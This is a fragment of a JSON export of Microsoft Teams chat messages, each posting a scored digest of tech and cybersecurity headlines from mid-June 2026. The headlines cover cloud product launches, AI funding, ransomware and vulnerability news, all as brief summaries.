\"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\",\n>       \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863097228\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\",\n>       \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863096435\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\",\n>       \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863095391\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\",\n>       \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863094471\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\",\n>       \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863093721\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\",\n>       \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": 